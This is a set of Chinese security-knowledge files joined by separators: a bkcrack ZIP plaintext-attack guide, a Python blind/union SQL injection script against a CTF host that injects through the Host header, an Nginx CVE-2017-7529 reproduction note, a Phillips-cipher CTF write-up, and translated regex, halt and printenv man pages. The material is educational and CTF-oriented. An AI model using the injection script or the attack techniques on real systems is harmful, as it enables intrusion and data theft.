如果是已知部分且不连续可以采用 -o 偏移量参数组合使用
```bash
bkcrack -C flag.zip -c flag.txt -p plain1.txt -o 1 -x 29 37346636
# -c 提取的密文部分
# -p 提取的明文部分
# -x 压缩包内目标文件的偏移地址 部分已知明文值
# -C 加密压缩包
# -o offset -p参数指定的明文在压缩包内目标文件的偏移量
```
---
## Source & Reference
- [ZIP明文攻击获得加密压缩包内文件](https://jingyan.baidu.com/article/0f5fb0990bba086d8334eaf6.html)
- [zip加密的明文攻击](https://blog.csdn.net/hustcw98/article/details/82392993)
- [ZIP已知明文攻击深入利用](https://www.freebuf.com/articles/network/255145.html)
|
sec-knowleage
|
import re
import requests
s = requests.session()
def oracle(condition):
r = query("<> (%s)" % condition)
if "WAF" in r:
print("WAF")
return "5889" in r
def blind(column, limit, charset):
result = ""
for d in range(limit):
for c in charset:
if oracle("select mid(%s,%d,1)=char(%d)" % (column, d, ord(c))):
print(c)
result += c
break
return result
def query(query):
url = "http://state-agency.tux.ro"
payload = "5880') " + query + " -- a"
r = s.get(url, headers={"Host": payload + ".state-agency.tux.ro"})
return r.text
def main():
print(oracle("1=1"))
print(oracle("1=2"))
print(query("procedure analyse()"))
res = query("union select 1,2,3,4,to_base64(content) from articles")
print(re.findall("[\s\w]*==", res[9316:])[0].replace("\n", "").decode("base64"))
main()
|
sec-knowleage
|
.\" From Henry Spencer's regex package (as found in the apache
.\" distribution). The package carries the following copyright:
.\"
.\" Copyright 1992, 1993, 1994 Henry Spencer. All rights reserved.
.\" This software is not subject to any license of the American Telephone
.\" and Telegraph Company or of the Regents of the University of California.
.\"
.\" Permission is granted to anyone to use this software for any purpose
.\" on any computer system, and to alter it and redistribute it, subject
.\" to the following restrictions:
.\"
.\" 1. The author is not responsible for the consequences of use of this
.\" software, no matter how awful, even if they arise from flaws in it.
.\"
.\" 2. The origin of this software must not be misrepresented, either by
.\" explicit claim or by omission. Since few users ever read sources,
.\" credits must appear in the documentation.
.\"
.\" 3. Altered versions must be plainly marked as such, and must not be
.\" misrepresented as being the original software. Since few users
.\" ever read sources, credits must appear in the documentation.
.\"
.\" 4. This notice may not be removed or altered.
.\"
.\" In order to comply with `credits must appear in the documentation'
.\" I added an AUTHOR paragraph below - aeb.
.\"
.\" In the default nroff environment there is no dagger \(dg.
.ie t .ds dg \(dg
.el .ds dg (!)
.TH REGEX 7 1994-02-07
.SH NAME
regex \- POSIX 1003.2 正则表达式
.SH DESCRIPTION
正则表达式 (``RE''s),
在 POSIX 1003.2 中定义,包含两种类型:
新式 REs (基本上指的是
.IR egrep
使用的那些,1003.2 称其为 ``extended'' REs
也就是“扩展的REs”)
和旧式 REs (指的是
.BR ed (1)
中的那些,1003.2 称之为 ``basic'' REs
也就是“基本的REs”).
旧式 REs 的存在仅仅是为了向后和一些旧程序保持兼容;在最后将加以讨论。
1003.2 对 RE 语法和语义的某些方面没有做强制规定;
`\*(dg' 记号标示了这些内容,它们可能不能完全移植到其他 1003.2 实现当中。
.PP
一个(新式的) RE 正则表达式是一个\*(dg 或多个非空\*(dg \fIbranches\fR 分支,以 `|' 分隔。
它匹配任何匹配其中一个分支的符号串。
.PP
一个 branch 分支是一个\*(dg 或多个 \fIpieces\fR 片段连结而成。
符号串首先要匹配它的第一个片段,接下来剩余部分再匹配第二个片段,以此类推。
.PP
一个 piece 片段是一个 \fIatom\fR 原子,其后可能包含一个\*(dg `*', `+', `?', 或者 \fIbound\fR 量词。
一个原子加上 `*' 匹配零个或多个这个原子的匹配构成的序列。
一个原子加上 `+' 匹配一个或多个这个原子的匹配构成的序列。
一个原子加上 `?' 匹配零个或一个这个原子的匹配。
.PP
一个 \fIbound\fR 量词是 `{' 后面跟一个无符号十进制整数,可能还会跟一个 `,',
可能还会再跟一个无符号十进制整数,然后以 `}' 结束。
整数的大小必须在 0 和 RE_DUP_MAX (255\*(dg) 之间(包含边界值)。
如果给出了两个数字,那么第一个决不能比第二个大。
一个原子的量词中如果只有一个数字而没有逗号的话,就匹配
\fIi\fR 个这个原子的匹配构成的序列。
一个原子的量词中如果只有一个数字并且有逗号的话,就匹配
\fIi\fR 个或多个这个原子的匹配构成的序列。
一个原子的量词中如果包含两个数字 \fIi\fR 和 \fIj\fR 的话,就匹配
\fIi\fR 到 \fIj\fR 个这个原子的匹配构成的序列。
.PP
一个原子是一个包含在 `()' 中的正则表达式 (这将匹配这个正则表达式匹配的符号串),
一个空的 `()' (匹配空串),
一个 \fIbracket expression\fR (方括号表达式,参见下面),
`.' (匹配任何字符),
`^' (匹配行首的空字符串),
`$' (匹配行尾的空字符串),
一个 `\e' 加上下列字符之一
`^.[$()|*+?{\e' (匹配这个字符,忽略它的任何特殊意义),
一个 `\e' (加上任何其他字符\*(dg 匹配那个字符,忽略它的任何特殊意义,就好像 `\e' 不存在\*(dg),
或者是一个字符,没有特殊意义 (匹配它本身)。
一个 `{' 后面是一个非数字的字符时,是一个普通的字符而不是量词的开始\*(dg。
以 `\e' 来结束一个 RE 是非法的。
.PP
一个 \fIbracket expression\fR 方括号表达式是一个字符的列表,包含在 `[]' 当中。
它一般匹配列表中的任何一个字符 (有特殊情况)。
如果这个列表以 `^' 开始,它将匹配 \fI不在\fR 列表中的任何字符 (下面还会讲到特殊情况)。
如果列表中的两个字符以 `\-' 分隔,可以表示字母表中这两个字符之间(包括这两个字符)所有的字符。
例如,ASCII 字符表中 `[0\-9]' 匹配任何数字。
不能\*(dg 用一个字符作为定义两个字符范围的端点,就像这样 `a-c-e'。
字符范围是与字母表顺序相关的,可移植的程序不应使用它们。
.PP
要在列表中包含一个字面的(没有特殊含义的) `]',可以把它放在首位(后面可能要加上一个`^')。
要在列表中包含一个字面的 `\-',可以把它放在首位或末尾,或者让它作为一个字符范围的末端点。
要以一个字面的 `\-' 作为字符范围的起始,可以将它放在 `[.' 和 `.]' 当中,
使得它成为一个 collating element (归并元素,参见下面)。
特殊情况除了这些,还有使用 `[' 的组合(参见下一段)。所有其他特殊字符,包括 `\e'
在内,在方括号表达式中都失去了它们的特殊含义。
.PP
方括号表达式中,一个包含在 `[.' 和 `.]' 中的归并元素 (collating element,一个字符,一个视为一体的字符序列,
或者一个代表着上述两类的归并序列名称) 代表着这个归并元素所包含的字符序列。
这个序列被视为方括号表达式的一个元素。
因此一个包含着多字符归并元素的方括号表达式可以匹配多于一个的字符。
例如,如果这个归并序列包含一个归并元素 `ch',那么
正则表达式 `[[.ch.]]'*c' 可以匹配 `chchcc' 的前五个字符。
.PP
方括号表达式中,一个包含在 `[=' 和 `=]' 中的归并元素是一个等价类,代表着
等价于它的所有归并元素 (也包括它自身)包含的字符的序列。
(如果没有其他等价的归并元素,就把它与括号分隔符是 `[.' 和 `.]' 时同样看待。)
例如,如果 o 和 \o'o^' 是一个等价类的成员,那么 `[[=o=]]',`[[=\o'o^'=]]' 还有 `[o\o'o^']' 都是同义词。
一个等价类不能\*(dg 是一个字符范围的末端点。
.PP
方括号表达式中,包含在 `[:' 和 `:]' 中的一个 \fIcharacter class\fR(字符类) 代表着这个
字符类中的所有字符的列表。
标准的字符类名称是:
.PP
.RS
.nf
.ta 3c 6c 9c
alnum digit punct
alpha graph space
blank lower upper
cntrl print xdigit
.fi
.RE
.PP
它们代表着
.BR wctype (3)
定义的字符类。
一个 locale(语言环境) 可能会提供其他字符类。
一个字符类不能用作一个字符范围的末端点。
.PP
方括号表达式还有两种特殊的情况\*(dg :
方括号表达式 `[[:<:]]' 和 `[[:>:]]' 分别匹配一个词的开始和结尾的空字符串。
一个 word (词)是一个 word character (成词字符) 的序列,并且前后都没有成词字符。
一个 word character (成词字符) 是一个
.I alnum
字符 (在
.BR wctype (3)
中有定义) 或者是一个下划线。
这是一个扩展,与 POSIX 1003.2 兼容但没有写入正文,在需要移植到其他系统中的软件中应当小心使用。
.PP
如果一个 RE 可以匹配一个字符串的多个不同的字串时,RE 选择匹配最前面的一个。
如果这个 RE 匹配的子串有相同的起始点,RE 选择匹配最长的一个。
子表达式也匹配最长的字串,使得整个匹配的字串最长,RE 中前面
的子表达式比后面的子表达式优先级高。
注意高级的子表达式比组成它的子表达式优先级要高。
.PP
匹配长度以字符来计算,而不是归并元素。
空字符串被认为比没有匹配要长。例如,`bb*' 匹配 `abbbc' 的中间三个字符;
`(wee|week)(knights|nights)' 匹配 `weeknights' 的全部十个字符;
`(.*).*' 匹配 `abc',其中括号中的子表达式匹配所有这三个字符;
`(a*)*' 来和 `bc' 匹配时,括号中的子表达式和整个 RE 都匹配空字符串。
.PP
如果指定了 case-indepentent 忽略大小写的匹配,效果是字母表中的大小写区别似乎都消失了。
如果一个字母可能以两种情况出现,假如它出现在方括号表达式之外,实际上被替换成了一个包含
所有情况的方括号表达式,例如 `x' 成为了 `[xX]';如果它出现在方括号表达式之内,
那么它的所有形式都被加入到这个方括号表达式之内,因此例如 `[x]' 等同于
`[xX]',还有 `[^x]' 成为了 `[^xX]'。
.PP
对 RE 的长度没有强制的限制。需要可移植的程序不应当使用长于256字节的正则表达式,
因为特定的实现可以不接受这种 RE,但是仍然是 POSIX 兼容的。
.PP
过时的 (``basic'') 正则表达式在很多地方有不同之处。`|',`+' 和 `?' 是普通的字符,
并且没有和它们等价的功能。量词的分隔符是 `\e{' 和 `\e}',`{' 和 `}' 本身是普通的字符。
嵌套的子表达式使用的括号是 `\e(' 和 `\e)',`(' 和 `)' 本身是普通的字符。
`^' 是一个普通的字符,除非是 RE 的第一个字符,或者\*(dg 一个括号中的子表达式的第一个字符。
`$' 是一个普通的字符,除非是 RE 的最后一个字符,或者\*(dg 一个括号中的子表达式的最后一个字符。
`*' 是一个普通的字符,如果它出现在 RE 的开始,或者一个括号中的子表达式的开始(其后一般是一个 `^')。
最后,还有一类 atom 原子,一个 \fIback reference\fR(向后引用):`\e' 其后跟一个非零十进制整数 \fId\fR,
匹配与第 \fId\fR 个括号中的子表达式的匹配相同的内容(子表达式的编号是根据它们的左括号而来,从左到右)。
因此(例如),`\e([bc]\e)\e1' 匹配 `bb' 或 `cc' 但是不匹配 `bc'。
.SH "SEE ALSO 参见"
.BR regex (3)
.PP
POSIX 1003.2, section 2.8 (Regular Expression Notation).
.SH BUGS
同时使用两种 REs 是不明智的。
.PP
目前的 1003.2 规约称,如果右括号 `)' 没有对应的 `(' 那么视为普通字符;这个规定是一个笔误,将来会改正。
避免使用它。
.PP
向后引用是糟糕的设计,是高效的实现中要面对的主要问题。
另外还会产生晦涩的语法
(?`a\e(\e(b\e)*\e2\e)*d' 可以匹配 `abbbd' 吗?)。
避免使用它们。
.PP
1003.2 对于忽略大小写的匹配的规定也不明确。
上面给出的定义 ``one case implies all cases'' 是当前各实现者的共识,被当作正确的语法。
.PP
词边界的语法丑陋得让人难以接受。
.SH "AUTHOR 作者"
This page was taken from Henry Spencer's regex package.
.SH "[中文版维护人]"
.B 袁乙钧 <bbbush@163.com>
.SH "[中文版最新更新]"
.BR 2004.02.24
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# Nginx越界读取缓存漏洞(CVE-2017-7529)
## 漏洞原理
参考阅读:
- https://cert.360.cn/detailnews.html?id=b879782fbad4a7f773b6c18490d67ac7
- http://galaxylab.org/cve-2017-7529-nginx%E6%95%B4%E6%95%B0%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。
如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。而如果我构造了两个负的位置,如(-600, -9223372036854774591),将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。
## 复现漏洞
运行测试环境:
```
docker compose up -d
```
访问`http://your-ip:8080/`,即可查看到Nginx默认页面,这个页面实际上是反向代理的8081端口的内容。
调用`python3 poc.py http://your-ip:8080/`,读取返回结果:

可见,越界读取到了位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。
如果读取有误,请调整poc.py中的偏移地址(605)。
|
sec-knowleage
|
# cq_cq_cq
Category: Crypto, 200 Points
## Description
A text file was attached: `A_Message_from_Mr._Phillips.txt`
```
10:38 18 -> CQ
FROM MISTER PHILLIPS TO ALL AGENTS STOP PLEASE UPDATE STOP
10:42 33 -> 18
FROM AGENT THREE FOUR SEVEN TO MISTER PHILLIPS STOP ALL IS READY STOP NEED FLAG STOP
11:17 18 -> CQ
HSVNN PBLMS XATWW PEBXT CRRCB MULAA LCDLO MGRKI
PALAC VXMUE CSWIK GVLQZ DALRC AACQT BZMYA EVSME
SIXDV CUWMS BLVSR BXGPQ FATUM MSAQV YMVKX QERVB
FLTSR ATSKE ERQBB XTE
```
## Solution
This obviously is some kind of cipher, but before decoding it we need to identify it. Practical Cryptography has a good page about [Identifying Unknown Ciphers](http://practicalcryptography.com/cryptanalysis/text-characterisation/identifying-unknown-ciphers/). One of the suggestions is to count the number of unique characters in the cipher (excluding spaces):
```python
>>> c = """HSVNN PBLMS XATWW PEBXT CRRCB MULAA LCDLO MGRKI
... PALAC VXMUE CSWIK GVLQZ DALRC AACQT BZMYA EVSME
... SIXDV CUWMS BLVSR BXGPQ FATUM MSAQV YMVKX QERVB
... FLTSR ATSKE ERQBB XTE"""
>>> "".join(sorted(set(c.replace(" ", "").replace("\n", ""))))
'ABCDEFGHIKLMNOPQRSTUVWXYZ'
>>> len("".join(sorted(set(c.replace(" ", "").replace("\n", "")))))
25
```
We have `25` unique characters:
> If there are 26 characters in the ciphertext, it rules out ciphers based on a 5 by 5 grid such as **playfair**, **foursquare** and **bifid**. If the ciphertext is fairly long and only 25 characters are present, it may indicate a cipher in this class has been used.
So there are three suggestion to check. Notice how the missing letter is `J`, which is pretty common for these ciphers (`J` is usually combined with `I`). If we're talking about a cipher that encrypts pairs of letters, this makes it significantly stronger than substitution ciphers since frequency analysis becomes much more difficult.
Studying the two plaintext messages we've received, we can see that both messages start with the pattern of "FROM X TO Y STOP" and end with "STOP". That gives us a [crib](https://en.wikipedia.org/wiki/Known-plaintext_attack) - a portion of plaintext that we assume is present in the ciphertext. Having a crib is very helpful in deciphering an encrypted message.
Since the third message is marked as `18 -> CQ` - just like the first one - we'll assume that it starts with "FROM MISTER PHILLIPS TO ALL AGENTS STOP". We'll also assume that it ends with "STOP":
```
fromm ister phill ipsto allag entss top
HSVNN PBLMS XATWW PEBXT CRRCB MULAA LCDLO MGRKI
PALAC VXMUE CSWIK GVLQZ DALRC AACQT BZMYA EVSME
SIXDV CUWMS BLVSR BXGPQ FATUM MSAQV YMVKX QERVB
s top
FLTSR ATSKE ERQBB XTE
```
We have a few encouraging things here:
* Same letter encryption in `fromm` -> `HSVNN`
* Same letter encryption in `phill` -> `XATWW`
* Same letter encryption in `allag` -> `CRRCB`
* Same letter encryption in `entss` -> `MULAA`
So there's a good chance that we got the crib right.
Now, a few things here tell us that this is not Playfair:
* In Playfair it's impossible to find a bigram composed of 2 identical letters, but we have `AA` (part of `MULAA`)
* A Playfair digraph and its reverse (e.g. AB and BA) will decrypt to the same letter pattern in the plaintext (e.g. RE and ER), but we have `il -> TW` and `li -> WP`.
Ruling out Four-Square and Bifid is harder, but it's also pretty hard to crack these ciphers with the information we currently have. So, we return to the description for additional clues. The main thing that stands out in the description is the use of the name "Phillips". As it turns out, that's also the name of a [cipher](https://www.cryptogram.org/downloads/aca.info/ciphers/Phillips.pdf) that seems to fit very well with what we have:
> Starting with a basic 5x5 Polybius square, the first row is shifted down one row at a time form squares #2, 3, 4 and 5. Row two is then shifted down a row at a time to form squares #6, 7 and 8. Each square is used in turn to encipher 5 plaintext letters. Each plaintext letter is enciphered by taking as substitute the letter diagonally down to the right using the proper square. A plaintext letter in the fifth column is replaced by the letter from the first column and the row below it; a plaintext letter in the fifth row is replaced by the letter in the first row and to its right.
It's worth stopping now and reviewing the example in the link above, since we won't repeat an example here.
As explained in the link, a 5x5 master box is formed from the key, and seven additional boxes are created by swapping rows in the master box. A Python representation of the row order would be:
```python
boxes = [
[0, 1, 2, 3, 4],
[1, 0, 2, 3, 4],
[1, 2, 0, 3, 4],
[1, 2, 3, 0, 4],
[1, 2, 3, 4, 0],
[2, 1, 3, 4, 0],
[2, 3, 1, 4, 0],
[2, 3, 4, 1, 0]
]
```
Among other things, this means that for each of the eight columns, the same ciphertext character is replaced by the same plaintext character:
```
fromm ister phill ipsto allag entss top
HSVNN PBLMS XATWW PEBXT CRRCB MULAA LCDLO MGRKI
e la ss
PALAC VXMUE CSWIK GVLQZ DALRC AACQT BZMYA EVSME
r o er st i e s
SIXDV CUWMS BLVSR BXGPQ FATUM MSAQV YMVKX QERVB
r r ss top
FLTSR ATSKE ERQBB XTE
```
Now, in order to crack the cipher, we'd like to first understand which letters belonged to which rows. Let's take for example the first character: `f` was encrypted to `H`. This means that in the first box, `f`'s row and `H`'s row were adjacent. We can use the following code to list all adjacent rows:
```python
def adjacent_pairs(lst):
"""
Returns tuples of adjacent pairs in the list, with wraparound for the last row:
[1, 2, 3, 0, 4] -> [(1, 2), (2, 3), (3, 0), (0, 4), (4, 1)]
"""
length = len(lst)
for i in range(length):
yield (lst[i], lst[(i + 1) % length])
```
In our case, that means that `(f, H)` were in rows:
```python
>>> list(adjacent_pairs(boxes[0]))
[(0, 1), (1, 2), (2, 3), (3, 4), (4, 0)]
```
Now let's see what we can learn from combining several constraints. We can see that `t` was encrypted in several columns. For the second, sixth and seventh, it was encrypted to `L`. For the forth, it was encrypted to `X`. We'll check what that means about the row numbers:
```python
>>> list(adjacent_pairs(boxes[1])) # Second
[(1, 0), (0, 2), (2, 3), (3, 4), (4, 1)]
>>> list(adjacent_pairs(boxes[5])) # Sixth
[(2, 1), (1, 3), (3, 4), (4, 0), (0, 2)]
>>> list(adjacent_pairs(boxes[6])) # Seventh
[(2, 3), (3, 1), (1, 4), (4, 0), (0, 2)]
>>> list(adjacent_pairs(boxes[3])) # Forth
[(1, 2), (2, 3), (3, 0), (0, 4), (4, 1)]
```
Since for the first three boxes, `t` was encrypted to the same letter (`L`), it means that the rows for `t` and `L` were adjacent in all of these permutations. The only pair that appears in all three is `(0, 2)`, so we can conclude that `t` is on row `0` and `L` is on row `2`. We can also immediately learn from this that `X` is on the forth row, since now `(0, 4)` is the only pair that can match `t`'s placement for the forth box.
We can continue to deduce row placements this way. For example, let's look at `i`. `i` got encrypted to `P` for the second and forth boxes, and to `T` for the third box:
```python
>>> list(adjacent_pairs(boxes[1]))
[(1, 0), (0, 2), (2, 3), (3, 4), (4, 1)]
>>> list(adjacent_pairs(boxes[3]))
[(1, 2), (2, 3), (3, 0), (0, 4), (4, 1)]
>>> list(adjacent_pairs(boxes[2]))
[(1, 2), (2, 0), (0, 3), (3, 4), (4, 1)]
```
The common pair for the second and forth boxes are: `(2, 3), (4, 1)`. But we already know that `t` is on the first row, so based on the pairs of the third box we can select `(2, 0)` for `i -> T`, meaning `i` is on the third row and therefore the correct pair is `(2, 3)` (placing `P` on the forth row).
We can continue this way making placements given that:
* If a character `x` gets encrypted to a character `Y` for multiple columns(/boxes), we can rule out any pair that doesn't exist in all these columns
* If a character `x` get encrypted to `Y` for some columns and to `Z` for other columns, we can rule out any pairs which are common to all these columns
* If a placement in a pair contradicts an already known placement, we can rule it out
It's actually not that hard to solve the challenge manually, given these constraints. Kind of like solving a Sudoku. For the sake of the writeup we'll use the following script though:
```python
import string
from pprint import pprint
from collections import defaultdict, namedtuple
text = """
HSVNN PBLMS XATWW PEBXT CRRCB MULAA LCDLO MGRKI
PALAC VXMUE CSWIK GVLQZ DALRC AACQT BZMYA EVSME
SIXDV CUWMS BLVSR BXGPQ FATUM MSAQV YMVKX QERVB
FLTSR ATSKE ERQBB XTE
""".strip()
RowPair = namedtuple("RowPair", "from_row_num to_row_num")
boxes = [
[0, 1, 2, 3, 4],
[1, 0, 2, 3, 4],
[1, 2, 0, 3, 4],
[1, 2, 3, 0, 4],
[1, 2, 3, 4, 0],
[2, 1, 3, 4, 0],
[2, 3, 1, 4, 0],
[2, 3, 4, 1, 0]
]
def adjacent_pairs(lst):
"""
Returns tuples of adjacent pairs in the list, with wraparound for the last row:
[1, 2, 3, 0, 4] -> [(1, 2), (2, 3), (3, 0), (0, 4), (4, 1)]
"""
length = len(lst)
for i in range(length):
yield (lst[i], lst[(i + 1) % length])
# Divide the text into columns since each column is encrypted with a different box
text_col = [[] for _ in range(len(boxes))]
for i, chunk in enumerate(text.split()):
text_col[i % len(boxes)].append(chunk)
# Based on the crib:
replacements = [
{'f': 'H', 'r': 'S', 'o': 'V', 'm': 'N'},
{'i': 'P', 's': 'B', 't': 'L', 'e': 'M', 'r': 'S'},
{'p': 'X', 'h': 'A', 'i': 'T', 'l': 'W'},
{'i': 'P', 'p': 'E', 's': 'B', 't': 'X', 'o': 'T'},
{'a': 'C', 'l': 'R', 'g': 'B'},
{'e': 'M', 'n': 'U', 't': 'L', 's': 'A'},
{'t': 'L', 'o': 'C', 'p': 'D'},
{}
]
# Mapping: overall_replacements[plaintext_char][ciphertext_char] = [box indices which encrypt plaintext_char as ciphertext_char]
overall_replacements = {c: defaultdict(list) for c in string.ascii_lowercase}
for i, replacement_dict in enumerate(replacements):
for from_char, to_char in replacement_dict.items():
overall_replacements[from_char][to_char].append(i)
print("Overall Replacements: ")
pprint(overall_replacements)
print(f"\nInferring Placements:")
# Mapping: known_placements[character] = row which this character resides in (0-4)
known_placements = {}
prev_placement_len = -1
while prev_placement_len != len(known_placements):
prev_placement_len = len(known_placements)
for plaintext_char in string.ascii_lowercase:
# Mapping: filtered_pairs[ciphertext_char] = {pairs of row_num (from, to)}
filtered_pairs = {}
for ciphertext_char, box_indices in overall_replacements[plaintext_char].items():
ciphertext_char = ciphertext_char.lower()
# For each box, a set of row_num pairs (from, to) which don't contradict the known_placements
per_box_pairs = []
for box_index in box_indices:
# Set of row_num pairs (from, to) which don't contradict the known_placements
candidate_pairs = set()
for pair in adjacent_pairs(boxes[box_index]):
row_pair = RowPair(*pair)
if row_pair.from_row_num != known_placements.get(plaintext_char, row_pair.from_row_num):
continue
if row_pair.to_row_num != known_placements.get(ciphertext_char, row_pair.to_row_num):
continue
candidate_pairs.add(row_pair)
per_box_pairs.append(candidate_pairs)
# We filter the list of pairs: If the same plaintext letter gets encrypted to the same ciphertext letter
# across multiple boxes, then the (from, to) pair that encrypts them must be common to all these boxes
filtered_pairs[ciphertext_char] = set.intersection(*per_box_pairs)
for ciphertext_char, pair_set in filtered_pairs.items():
if len(pair_set) == 1:
row_pair = pair_set.pop()
if plaintext_char not in known_placements or ciphertext_char not in known_placements:
print(f"{plaintext_char} -> {row_pair.from_row_num}, {ciphertext_char} -> {row_pair.to_row_num}")
known_placements[plaintext_char] = row_pair.from_row_num
known_placements[ciphertext_char.lower()] = row_pair.to_row_num
print(f"Found placements for {len(known_placements)} characters.\n")
key = [[] for _ in range(5)]
for c, row_num in known_placements.items():
key[row_num].append(c.upper())
print("Known master box:")
for row in key:
print("".join(sorted(row)))
print("\nMissing characters:")
for c in set(string.ascii_lowercase) - set("j"):
if c not in known_placements:
print(c.upper(), end="")
print("")
```
Output:
```console
┌──(user@kali)-[/media/sf_CTFs/checkpoint/cq_cq_cq]
└─$ python3 solve.py
Overall Replacements:
{'a': defaultdict(<class 'list'>, {'C': [4]}),
'b': defaultdict(<class 'list'>, {}),
'c': defaultdict(<class 'list'>, {}),
'd': defaultdict(<class 'list'>, {}),
'e': defaultdict(<class 'list'>, {'M': [1, 5]}),
'f': defaultdict(<class 'list'>, {'H': [0]}),
'g': defaultdict(<class 'list'>, {'B': [4]}),
'h': defaultdict(<class 'list'>, {'A': [2]}),
'i': defaultdict(<class 'list'>, {'P': [1, 3], 'T': [2]}),
'j': defaultdict(<class 'list'>, {}),
'k': defaultdict(<class 'list'>, {}),
'l': defaultdict(<class 'list'>, {'W': [2], 'R': [4]}),
'm': defaultdict(<class 'list'>, {'N': [0]}),
'n': defaultdict(<class 'list'>, {'U': [5]}),
'o': defaultdict(<class 'list'>, {'V': [0], 'T': [3], 'C': [6]}),
'p': defaultdict(<class 'list'>, {'X': [2], 'E': [3], 'D': [6]}),
'q': defaultdict(<class 'list'>, {}),
'r': defaultdict(<class 'list'>, {'S': [0, 1]}),
's': defaultdict(<class 'list'>, {'B': [1, 3], 'A': [5]}),
't': defaultdict(<class 'list'>, {'L': [1, 5, 6], 'X': [3]}),
'u': defaultdict(<class 'list'>, {}),
'v': defaultdict(<class 'list'>, {}),
'w': defaultdict(<class 'list'>, {}),
'x': defaultdict(<class 'list'>, {}),
'y': defaultdict(<class 'list'>, {}),
'z': defaultdict(<class 'list'>, {})}
Inferring Placements:
t -> 0, l -> 2
i -> 2, t -> 0
l -> 2, w -> 0
l -> 2, r -> 3
o -> 3, t -> 0
r -> 3, s -> 4
s -> 4, b -> 1
s -> 4, a -> 0
t -> 0, x -> 4
a -> 0, c -> 1
g -> 0, b -> 1
h -> 2, a -> 0
i -> 2, p -> 3
o -> 3, v -> 4
p -> 3, e -> 0
p -> 3, d -> 1
e -> 0, m -> 2
f -> 1, h -> 2
m -> 2, n -> 3
n -> 3, u -> 4
Found placements for 21 characters.
Known master box:
AEGTW
BCDF
HILM
NOPR
SUVX
Missing characters:
KQYZ
```
With the help of the script, we almost found our master box. The master box is usually composed of a keyword at the beginning, followed by the rest of the alphabet according to natural order. We need to try dividing the missing characters into those that belong to the keyword and those that don't. This requires some guessing, but it seems safe to assume that we can place `K` and `Q` as following to reach 5 characters in two more rows:
```
AEGTW
BCDF
HIKLM
NOPQR
SUVX
```
Now we have `Y` and `Z` left - one of them belongs to the bottom right corner and one to the keyword. The keyword is some combination of `AEGTW` and `Y/Z`, since we can tell that the remaining alphabet starts from `B`. Playing around with different combinations, it looks like the keyword is `GATEWAY`, which means that the box is:
```
GATEW
YBCDF
HIKLM
NOPQR
SUVXZ
```
Now we can use any Phillips solver, such as [this one](https://www.dcode.fr/phillips-cipher):
```
FROMMISTERPHILLIPSTOALLAGENTSSTOPTHEFLAGISCSAOPENCURLYBRACKETSCLASSICUNDERSCORECRYPTOUNDERSCORESTRIKESUNDERSCOREBACKCLOSECURLYBRACKETSSTOP
```
Adding spaces, we get:
```
FROM MISTER PHILLIPS TO ALL AGENTS STOP THE FLAG IS CSA OPEN CURLY BRACKETS CLASSIC UNDERSCORE CRYPTO UNDERSCORE STRIKES UNDERSCORE BACK CLOSE CURLY BRACKETS STOP
```
And the flag: `CSA{CLASSIC_CRYPTO_STRIKES_BACK}`.
|
sec-knowleage
|
'\" t
.TH "HALT" "8" "" "systemd 231" "halt"
.\" -----------------------------------------------------------------
.\" * Define some portability stuff
.\" -----------------------------------------------------------------
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.\" http://bugs.debian.org/507673
.\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.ie \n(.g .ds Aq \(aq
.el .ds Aq '
.\" -----------------------------------------------------------------
.\" * set default formatting
.\" -----------------------------------------------------------------
.\" disable hyphenation
.nh
.\" disable justification (adjust text to left margin only)
.ad l
.\" -----------------------------------------------------------------
.\" * MAIN CONTENT STARTS HERE *
.\" -----------------------------------------------------------------
.SH "NAME"
halt, poweroff, reboot \- 停机、关机、重新启动
.SH "SYNOPSIS"
.HP \w'\fBhalt\fR\ 'u
\fBhalt\fR [OPTIONS...]
.HP \w'\fBpoweroff\fR\ 'u
\fBpoweroff\fR [OPTIONS...]
.HP \w'\fBreboot\fR\ 'u
\fBreboot\fR [OPTIONS...]
.SH "描述"
.PP
\fBhalt\fR,
\fBpoweroff\fR,
\fBreboot\fR
可以分别用于停机、关机、 重新启动
.SH "选项"
.PP
能够识别的命令行选项如下:
.PP
\fB\-\-help\fR
.RS 4
显示简短的帮助信息并退出。
.RE
.PP
\fB\-\-halt\fR
.RS 4
停机(关闭系统但是不切断电源)
.RE
.PP
\fB\-p\fR, \fB\-\-poweroff\fR
.RS 4
关机(关闭系统并且切断电源)
.RE
.PP
\fB\-\-reboot\fR
.RS 4
重新启动
.RE
.PP
\fB\-f\fR, \fB\-\-force\fR
.RS 4
强制立即停机/关机/重新启动, 而不与 init 进程通信。
.RE
.PP
\fB\-w\fR, \fB\-\-wtmp\-only\fR
.RS 4
仅向 wtmp 中写入一条关机记录, 而不实际执行关机动作。
.RE
.PP
\fB\-d\fR, \fB\-\-no\-wtmp\fR
.RS 4
不向 wtmp 中写入任何关机记录
.RE
.PP
\fB\-n\fR, \fB\-\-no\-sync\fR
.RS 4
在关机前不刷写磁盘缓存
.RE
.PP
\fB\-\-no\-wall\fR
.RS 4
在关机前不发送警告信息
.RE
.SH "退出状态"
.PP
返回值为 0 表示成功, 非零返回值表示失败代码。
.SH "注意"
.PP
这些命令仅仅是为了兼容传统的命令而存在
.SH "参见"
.PP
\fBsystemd\fR(1),
\fBsystemctl\fR(1),
\fBshutdown\fR(8),
\fBwall\fR(1)
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH PRINTENV 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
printenv \- 显示全部或部分环境变量
.SH 概述
